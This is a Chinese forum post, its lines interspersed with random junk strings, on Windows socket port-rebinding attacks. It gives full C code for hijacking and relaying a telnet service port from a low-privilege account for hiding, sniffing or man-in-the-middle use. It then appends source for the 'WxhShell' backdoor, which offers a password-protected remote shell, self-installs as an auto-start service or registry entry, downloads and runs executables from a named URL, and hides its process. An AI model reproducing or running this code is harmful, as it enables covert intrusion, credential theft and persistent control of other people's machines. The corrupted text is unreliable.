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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a<HM|dcst  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); + 6}FUi!"e  
Yhx~5p  
  saddr.sin_family = AF_INET; MQ,2v. vZ.  
wDSU~\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p<J/J.E  
"fmJ;W;#1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?c43cYb  
>4ALF[oH1J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]9x30UXLwD  
Nls|R  
  这意味着什么?意味着可以进行如下的攻击: L Xx 3  
!}vz_6)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'uPqe.#?  
b0&dpMgh:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *qR tk  
mqE&phF,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f j"S|]e  
iE&`F hf?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M1oCa,8M+  
9w AP%xh  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 */ qv}  
+6TKk~0e^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5\a5^FK~  
+^"|FtKhE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VWNmqeP  
E@N_~1  
  #include U 26Iz  
  #include /Ia#udkNMp  
  #include U3Dy:K[  
  #include    6Es-{u(,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lc'Jn$O@  
  int main() }LE/{]A  
  { 'Y-c*q  
  WORD wVersionRequested; )qxL@w.  
  DWORD ret; c8u&ev.U  
  WSADATA wsaData; jy1*E3vQ  
  BOOL val; DLz~$TF^  
  SOCKADDR_IN saddr; w.V8-9{  
  SOCKADDR_IN scaddr; 8 {QvB"w  
  int err; =6%0pu]0  
  SOCKET s; Eu0 _/{:  
  SOCKET sc; 8d>OtDLa  
  int caddsize; 3|~(9b{+  
  HANDLE mt; !u=[/>  
  DWORD tid;   ?vk&k(FT  
  wVersionRequested = MAKEWORD( 2, 2 ); ?HBc7$nW  
  err = WSAStartup( wVersionRequested, &wsaData ); ?Jx8z`(  
  if ( err != 0 ) { ?=fJu\;  
  printf("error!WSAStartup failed!\n"); gFW1Nm_DJ  
  return -1; PgxU;N7Y  
  } 0ogTQ`2Z:  
  saddr.sin_family = AF_INET; 9x:c"S*  
   <4VUzgX2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :|d3BuY  
f:=?"MX7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $A-b-`X  
  saddr.sin_port = htons(23); rA_e3L@v#[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u''(;U[  
  { |m?0h.O,  
  printf("error!socket failed!\n"); "q%Q[^b  
  return -1; uEk$Y=p7!  
  } fdPg{3x*k  
  val = TRUE; iveWau292  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ddu$49{S:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kgA')]  
  { ++FMkeHZ  
  printf("error!setsockopt failed!\n"); gE%-Pf~  
  return -1; =*I>MgCJ  
  } dvUJk<;w  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jd$lu^>I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Iw48+krm>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {Ynr(J.  
p;C`n)7P7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0z%]HlPg  
  { 6>KDK<5NQ  
  ret=GetLastError(); 3s$m0  
  printf("error!bind failed!\n"); PDtaL  
  return -1; <Z}2A8mjY  
  } @90)  
  listen(s,2); O1-Ne.$  
  while(1) sKNN ahGjh  
  {  /y1,w JI  
  caddsize = sizeof(scaddr); #2n>J'}  
  //接受连接请求 :r!nz\%WW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xro  
  if(sc!=INVALID_SOCKET) 7$/ O{GBJ  
  { k%.IIVRx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fRq2sK;+  
  if(mt==NULL) kELV]iWb  
  { Wb^YqqE  
  printf("Thread Creat Failed!\n"); p6>3 p  
  break; t\'URpa+5%  
  } 3VcG /rf  
  } I]zCsT.  
  CloseHandle(mt); ) |*HkdF`  
  } QQ pe.oF  
  closesocket(s); {E>kFeg  
  WSACleanup(); 3F<My+J  
  return 0; rrmr#a  
  }    a2sN$k  
  DWORD WINAPI ClientThread(LPVOID lpParam) L0Xb^vx}m  
  { ]G&d`DNV  
  SOCKET ss = (SOCKET)lpParam; Vo%@bj~>  
  SOCKET sc; 5{j1<4zxR  
  unsigned char buf[4096]; ,I[  
  SOCKADDR_IN saddr; 8/]5h%  
  long num; pOx0f;'G+  
  DWORD val; z$S)|6Q  
  DWORD ret; yn`H}@`k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @ VVBl I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v=@Z,-  
  saddr.sin_family = AF_INET; \V}?K0#bt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z^s&]  
  saddr.sin_port = htons(23); mpN|U(n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;CFI*Wfp  
  { td%EbxJK]`  
  printf("error!socket failed!\n"); V"k*PLt  
  return -1; P>Pw;[b>O  
  } ^!?W!k!:V  
  val = 100; F"~uu9u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?!cUAa>iH  
  { f)/Yru. ;  
  ret = GetLastError(); j<e`8ex?  
  return -1; T =_Hd  
  } yB,$4:C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4E<iIA\x  
  { 6 [w_ /X"  
  ret = GetLastError(); D O#4E<]5  
  return -1; I6X_DPY  
  } m.Yj{u8zX  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &n91f  
  { A^*0{F?,)  
  printf("error!socket connect failed!\n"); &Z#g/Hc  
  closesocket(sc); @tR:}J*9s  
  closesocket(ss); 0%#ZupN  
  return -1; ]u G9WT6l  
  } L;wzvz\+  
  while(1) hZ[,.  
  { M9M~[[   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R:fERj<s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MB%yC]w8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {p=`"H>  
  num = recv(ss,buf,4096,0); 'MVE5  
  if(num>0) fH}#.vy  
  send(sc,buf,num,0); (V!:6  
  else if(num==0) [x{'NwP?  
  break; }f?$QSF  
  num = recv(sc,buf,4096,0); W&T -E,  
  if(num>0) XE6sFU  
  send(ss,buf,num,0); j.= VZ  
  else if(num==0) \u9l4  
  break; ViKN|W >T  
  } M&wf4)*%0+  
  closesocket(ss); *QH@c3vUe\  
  closesocket(sc); o/t^rY y  
  return 0 ;  _xjw:  
  } ~M _ @_  
a9}7K/Y=d  
p.~hZ+ x_  
========================================================== RoS&oGYqR  
*6IytW OX5  
下边附上一个代码,,WXhSHELL Wl\.*^`k  
bbddbRj;  
========================================================== $pr\"!|z  
KP,#x$Bg  
#include "stdafx.h" 1Tm,#o  
"}fJ 2G3  
#include <stdio.h> :qy< G!o  
#include <string.h> Qqm'Yom%T  
#include <windows.h> Y=6569U2  
#include <winsock2.h> KW`^uoY$  
#include <winsvc.h> o"wvP~H  
#include <urlmon.h> g3B%}!|  
zZR_&z<  
#pragma comment (lib, "Ws2_32.lib") pL 2P .  
#pragma comment (lib, "urlmon.lib") @ LPs.e  
rr~O6Db  
#define MAX_USER   100 // 最大客户端连接数 VC~1QPC9  
#define BUF_SOCK   200 // sock buffer }w&W\g+E$  
#define KEY_BUFF   255 // 输入 buffer Fab gJu  
{8p<iY- %  
#define REBOOT     0   // 重启 @$mh0K>  
#define SHUTDOWN   1   // 关机 r9sq3z|%  
V7DMn@Ckw  
#define DEF_PORT   5000 // 监听端口 =[5F~--Tf  
eO%w i.Q  
#define REG_LEN     16   // 注册表键长度 #$n >+ lc  
#define SVC_LEN     80   // NT服务名长度 gV~_m  
~/C9VR&  
// 从dll定义API 6Uh_&?\%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DL<b)# h#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,! b9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #w]UP#^io  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y Ny,$1  
H. o=4[  
// wxhshell配置信息 BLaF++Fop  
struct WSCFG { 8=TM _  
  int ws_port;         // 监听端口 W2>VgMR [  
  char ws_passstr[REG_LEN]; // 口令 ZQ1,6<^9i[  
  int ws_autoins;       // 安装标记, 1=yes 0=no  KEPNe(H  
  char ws_regname[REG_LEN]; // 注册表键名 *3@ =XY7  
  char ws_svcname[REG_LEN]; // 服务名 (sDZ&R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vd{ban9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'Hf+Y/`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <DR$WsDG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 12]rfd   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qzk!'J3*r<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uE &/:+  
| -l9Z  
}; #|j8vmfn$e  
a=_:`S]}  
// default Wxhshell configuration CWdpF>En  
struct WSCFG wscfg={DEF_PORT, #M ;j*IBl*  
    "xuhuanlingzhe", >bRoQ8  
    1, `_"loPu  
    "Wxhshell", "50 c<sZSB  
    "Wxhshell", *(g0{V  
            "WxhShell Service", eL" +_lW  
    "Wrsky Windows CmdShell Service", @oKW$\  
    "Please Input Your Password: ", R,8 W7 3  
  1, TGDrTyI?y  
  "http://www.wrsky.com/wxhshell.exe", Yj"{aFK#u@  
  "Wxhshell.exe" nixIKOnjC  
    }; >q&X#E<w  
D]=V6l=  
// 消息定义模块 !-HJ%(5:F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `;Od0uh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3D}Pa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MX 7 Y1  
char *msg_ws_ext="\n\rExit."; =|LB,REN  
char *msg_ws_end="\n\rQuit."; imc1rY!~'  
char *msg_ws_boot="\n\rReboot..."; ~e<^jhpJ  
char *msg_ws_poff="\n\rShutdown..."; {[ pzqzL6  
char *msg_ws_down="\n\rSave to "; J7pF*2  
]xxE_B7  
char *msg_ws_err="\n\rErr!"; FJD;LpW  
char *msg_ws_ok="\n\rOK!"; 'ws@I?!r  
H#H[8#  
char ExeFile[MAX_PATH]; O $ARk+  
int nUser = 0; }vxRjO,  
HANDLE handles[MAX_USER]; &|fPskpy  
int OsIsNt; XwZR Kh\>=  
,K15KN.'  
SERVICE_STATUS       serviceStatus; RF[Uy?es  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s5\<D7  
sK@]|9ciQ  
// 函数声明 dv cLZK  
int Install(void); 50e vWD  
int Uninstall(void); uCHM  
int DownloadFile(char *sURL, SOCKET wsh); a! 3eZ,  
int Boot(int flag); ^U9b)KA  
void HideProc(void); SuA  @S  
int GetOsVer(void); cO8yu`4!e  
int Wxhshell(SOCKET wsl); B7.<A#y2  
void TalkWithClient(void *cs); 7Hg;SK6t0  
int CmdShell(SOCKET sock); : #OaE,  
int StartFromService(void); 9 K>~9Za  
int StartWxhshell(LPSTR lpCmdLine); ,7Dm p7  
Q k2*=BVh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nx Jx8d"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f5z*AeI  
2)Q%lEm`SP  
// 数据结构和表定义 ;TKsAU  
SERVICE_TABLE_ENTRY DispatchTable[] = 2WS Wfh  
{ X`C ozyYuD  
{wscfg.ws_svcname, NTServiceMain}, ;w;+<Rd  
{NULL, NULL} $}EI3a  
}; >~O/ZDu/@  
/%F5u}eW  
// 自我安装 p4uN+D `.U  
int Install(void) DfjDw/{U3L  
{ s54AM]a{j  
  char svExeFile[MAX_PATH]; bg2r  
  HKEY key; ]u.)6{  
  strcpy(svExeFile,ExeFile); aJ J)ZP2+  
*XI- nH  
// 如果是win9x系统,修改注册表设为自启动 Et'&}NjI  
if(!OsIsNt) { \I7&F82e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *QT7\ht3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t(99m=9>  
  RegCloseKey(key); 19bqz )  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { by$S#e f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S;SI#Vg@  
  RegCloseKey(key); !KtP> `8  
  return 0; /~{ fPS  
    } :j[=   
  } Bxf&gDwjgr  
} )0\D1IFJ  
else { "td ,YVK  
] u\-_PP  
// 如果是NT以上系统,安装为系统服务 K_Kz8qV.?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^YB3$:@$U  
if (schSCManager!=0) )&[ol9+\  
{ r.' cjUs  
  SC_HANDLE schService = CreateService o,qUf  
  ( 0?''v>%  
  schSCManager, :cA8[!  
  wscfg.ws_svcname, Hv*+HUc(:  
  wscfg.ws_svcdisp, _4LDzVjNRe  
  SERVICE_ALL_ACCESS, ?]\v%[ho  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ybcCq]cgt  
  SERVICE_AUTO_START, +FC+nE}O  
  SERVICE_ERROR_NORMAL, #.2} t0*]5  
  svExeFile, :Vrj[i-{  
  NULL,  n[7=  
  NULL, @`nU=kY/  
  NULL, 0KN'\KE  
  NULL, BO>[\!=y  
  NULL v807)JwS  
  ); dF^`6-K1  
  if (schService!=0) g{Hb3id9  
  { L,3%}_  
  CloseServiceHandle(schService); ,Qt2?  
  CloseServiceHandle(schSCManager); wc;^C?PX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]YUst]gu3  
  strcat(svExeFile,wscfg.ws_svcname); Q SvgbjdE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ([NS%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (/|f6_9!  
  RegCloseKey(key); *X 2dS {  
  return 0; RaA7 U   
    } H284 ]i  
  } AQs_(LR  
  CloseServiceHandle(schSCManager); ]eI|_O^u  
} ej[Y `N  
} |iVw7M:  
+L pMNnl6  
return 1; 9-.`~v  
} 5r^u7k  
H6Kt^s<6xu  
// 自我卸载 Cp]q>lM"  
int Uninstall(void) G C@U['  
{ K>Tv M&  
  HKEY key; w_#5Na}>d  
?V})2wwP  
if(!OsIsNt) { m$bNQ7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~./M5P!\  
  RegDeleteValue(key,wscfg.ws_regname); WE&"W$0  
  RegCloseKey(key); m</nOf+C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \P9HAz'6  
  RegDeleteValue(key,wscfg.ws_regname); $kh6-y@  
  RegCloseKey(key); )z7+%nTO  
  return 0; mk +BeK  
  } {&h=  
} @qB1:==@7  
} gal.<SVW  
else { $u{ 8wF/)  
0{>P^z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *%QTv3{  
if (schSCManager!=0) zg{  
{ 1y.!x~Pi,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y73@t$|  
  if (schService!=0) ]ChN]>o  
  { !}Ty"p`  
  if(DeleteService(schService)!=0) { w]Ci%W(  
  CloseServiceHandle(schService); Q".AmHn  
  CloseServiceHandle(schSCManager); MU~nvs;:  
  return 0; mTZgvPJ!  
  } 6M@m`c  
  CloseServiceHandle(schService); ET q~, g'  
  } -42jeJS  
  CloseServiceHandle(schSCManager); ?N@p~ *x  
} _pR7sNeV  
} u/4|Akui  
zbP#y~[  
return 1; /N`E4bKBR  
} lISu[{b?  
3EX41)u  
// 从指定url下载文件 m>-(c=3  
int DownloadFile(char *sURL, SOCKET wsh) :_+Fe,h>|  
{ O\zGN/!  
  HRESULT hr; }t.VH:02y  
char seps[]= "/"; D(Yq<%Q  
char *token; 3,{tGNl|  
char *file; Z sbE  
char myURL[MAX_PATH]; VK?c='zg  
char myFILE[MAX_PATH]; AME6Zu3Y  
Js!V,={iX  
strcpy(myURL,sURL); 30$Q5]T  
  token=strtok(myURL,seps); <@:LONe<  
  while(token!=NULL) \S"YLRn"  
  { 9h 0^_|"  
    file=token; /(skIvE|  
  token=strtok(NULL,seps); !_=3Dz  
  } ]0)=0pc]E  
Q2ky|  
GetCurrentDirectory(MAX_PATH,myFILE); 6WX+p3Kv  
strcat(myFILE, "\\"); B$%7U><'  
strcat(myFILE, file); 6"U)d7^  
  send(wsh,myFILE,strlen(myFILE),0); |DMa2}%  
send(wsh,"...",3,0); j%OnLTZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "6 fTZ<  
  if(hr==S_OK) `)s>},8W!  
return 0; 7= x]p  
else z'ZGN{L  
return 1; qddP-uN  
9% AL f 9  
} m8njP-CZ  
W]DZ'  
// 系统电源模块 IMay`us]:8  
int Boot(int flag) '74-rL:i  
{ o%\pI%  
  HANDLE hToken; x?MSHOia`P  
  TOKEN_PRIVILEGES tkp; 1?bX$$y l;  
f")*I  
  if(OsIsNt) { J|2OmbJe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QGV~Y+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0`dMT>&I  
    tkp.PrivilegeCount = 1; o`]u&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XK4idC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4`#3p@-  
if(flag==REBOOT) { /|2#s%|-=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zg83->[  
  return 0; pg'3j3JW$  
} \;Ywr3  
else { *R^ulp[W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h_Cac@F0  
  return 0; G(XI TL u*  
} *k#M;e  
  } =+j>?Yi  
  else { *PjW,   
if(flag==REBOOT) { Q1?G7g]N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9@."Y>1G  
  return 0; +aWI"d--h  
} ` 'y[i  
else { -5 YvtL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z;#Ei.7p|  
  return 0; -6KGQc}U  
} ki^c)Tqn  
} ymLhSF][  
uT??t=vb  
return 1; |Skk1 #  
} 9ZEF%&58Y  
//}[(9b'\  
// win9x进程隐藏模块 /U#{6zeM[,  
void HideProc(void) JS<4%@  
{ d= -/'_'  
$6X CHVx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N3Jfp3_b@  
  if ( hKernel != NULL ) OyG$ ]C  
  { P]@m0f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .V?i3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RqIic\aD  
    FreeLibrary(hKernel); /f7Fv*z/  
  } `"<} B"s  
6/Coi,om  
return; u8Au `  
} idf~"a  
#Pz},!7  
// 获取操作系统版本 iraO/KhD*3  
int GetOsVer(void) bS+by'Ea1W  
{ Dm1;mRS+  
  OSVERSIONINFO winfo; ^< ,Np+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jk)^6  
  GetVersionEx(&winfo); $#dPM*E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E:N~c'k  
  return 1; _tg&_P+kV  
  else MU^7(s="  
  return 0;  U'nz3  
} KbY5 qou  
K>TdN+Z}=  
// 客户端句柄模块 s wdW70  
int Wxhshell(SOCKET wsl) ,?+rM ;  
{ "mnWqRpX  
  SOCKET wsh; F(8>"(C  
  struct sockaddr_in client; dE+xU(\, w  
  DWORD myID; Syn>;FX  
9'I I!  
  while(nUser<MAX_USER) Uu9\;f  
{ s fxQ  
  int nSize=sizeof(client); <aR8fU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;K:)R_H  
  if(wsh==INVALID_SOCKET) return 1; aZYa<28?L%  
dE*n!@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d FF[2  
if(handles[nUser]==0) Nkt(1?:-'  
  closesocket(wsh); Eg?6$[U`8<  
else cPxA R]'U  
  nUser++; `?Yh`P0  
  } 8Hf!@p6R+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xS` %3+|  
5uK:f\y)l  
  return 0; vMXS%Q  
} }Lx?RU+@=  
J 21D/#v  
// 关闭 socket XQhBnam%  
void CloseIt(SOCKET wsh) Yw=Ve 0  
{ #5kQn>R  
closesocket(wsh); |2\6X's  
nUser--; [ds:LQq)/  
ExitThread(0); a[:0<Ek  
} n^|n6(EZ  
=Uta5$\a)  
// 客户端请求句柄 LqTyE  
void TalkWithClient(void *cs) s% "MaDz  
{ 3u7N/OQ(  
edqekjh  
  SOCKET wsh=(SOCKET)cs; D L_{q6ZK  
  char pwd[SVC_LEN]; 8oG0tX3i  
  char cmd[KEY_BUFF]; 0l6z!@GhT  
char chr[1]; -DrR6kGjR  
int i,j; x-k}RI  
maLKUSgo  
  while (nUser < MAX_USER) { ;CD.8f]N  
EZz Ox(g  
if(wscfg.ws_passstr) { @<e+E"6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ] 5lp.#EB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k+2~=#  
  //ZeroMemory(pwd,KEY_BUFF); mvI[=e*  
      i=0; &AmTXW  
  while(i<SVC_LEN) { | eIN<RY5  
R74kt36M  
  // 设置超时 1@C0c%  
  fd_set FdRead; I|JMkP  
  struct timeval TimeOut; zg&<HJO  
  FD_ZERO(&FdRead); _|xO4{X  
  FD_SET(wsh,&FdRead); "P=OpFV  
  TimeOut.tv_sec=8; + ?n81|7`  
  TimeOut.tv_usec=0; 1vBR\!d?7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eOjoxnD-$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  R:98'`X=  
D[m;rcl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h8oG5|Y  
  pwd=chr[0]; $ +;`[b   
  if(chr[0]==0xd || chr[0]==0xa) { @CU3V+  
  pwd=0; _niXl&C  
  break; -:`$8/A|  
  } o&1ewE(O]  
  i++; '$W@I  
    } s)#FqB8  
&IM;Yl  
  // 如果是非法用户,关闭 socket (Bd8@}\u_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NH$a:>  
} SsfnBCVR  
tK6z#)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d6-a\]gF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "o/:LCE  
@ 9D, f  
while(1) { &,2h=H,M  
7jT]J   
  ZeroMemory(cmd,KEY_BUFF); 1q<BYc+z  
{wRsV=*  
      // 自动支持客户端 telnet标准   2e zQX2q  
  j=0; CN@bJo2  
  while(j<KEY_BUFF) { M ()&GlNs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cj@Ygc)n  
  cmd[j]=chr[0]; n5A0E2!  
  if(chr[0]==0xa || chr[0]==0xd) { 0'`>20Y  
  cmd[j]=0; Iodk1Y;  
  break; >6Y\CixN  
  } /=A?O\B7  
  j++; ('pNAn!]  
    } 6wx;grt'Z  
x):cirwkl  
  // 下载文件 ";yCo0*  
  if(strstr(cmd,"http://")) { Io*`hA]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4bqi&h3  
  if(DownloadFile(cmd,wsh)) Juj"cjob  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j2SJ4tB /  
  else * F%Wf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EV| 6._Z(D  
  } cdfJa  
  else { wl #Bv,xf  
bl NJ  
    switch(cmd[0]) { qc\]~]H]r  
  "  m<]B  
  // 帮助 LO<R<zz  
  case '?': { @6 uB78U4O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n=l>d#}$%T  
    break; J`a$"G B.  
  } Aa-L<wZVPt  
  // 安装 fOCLN$x^  
  case 'i': { ;@GlJ '$;  
    if(Install()) yB\}e'J^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UVlD]oXKh  
    else xGTVC=q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wgxr8;8`q  
    break; "2q}G16K  
    }  fy" q  
  // 卸载 6/Y3#d  
  case 'r': { x zu)``?  
    if(Uninstall()) VV O C-:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P:vAU8d>  
    else {/G~HoY1i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )WavG1  
    break; 13wO6tS k  
    } [ZU6z?Pf  
  // 显示 wxhshell 所在路径 4Ei*\:  
  case 'p': { ^WQ.' G5Q  
    char svExeFile[MAX_PATH]; XQ]noaU  
    strcpy(svExeFile,"\n\r"); &^Q-:Kxs8  
      strcat(svExeFile,ExeFile); >%5Ld`c:SD  
        send(wsh,svExeFile,strlen(svExeFile),0); awh<CmcZ  
    break; 9HrT>{@  
    } ;X,|I)  
  // 重启 {J;[ Hf5  
  case 'b': { x9q?^\x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V/"UDof  
    if(Boot(REBOOT)) ^.)oQo SE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F8mS5oB|^  
    else { p;cNmMm  
    closesocket(wsh); :,%~R2  
    ExitThread(0); $(B|$e^:(  
    } >Q#h,x~vu  
    break; Wsya:9|  
    } 0w9)#e+JS  
  // 关机 TELN4*  
  case 'd': { <5(P4cm9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _0dm?=  
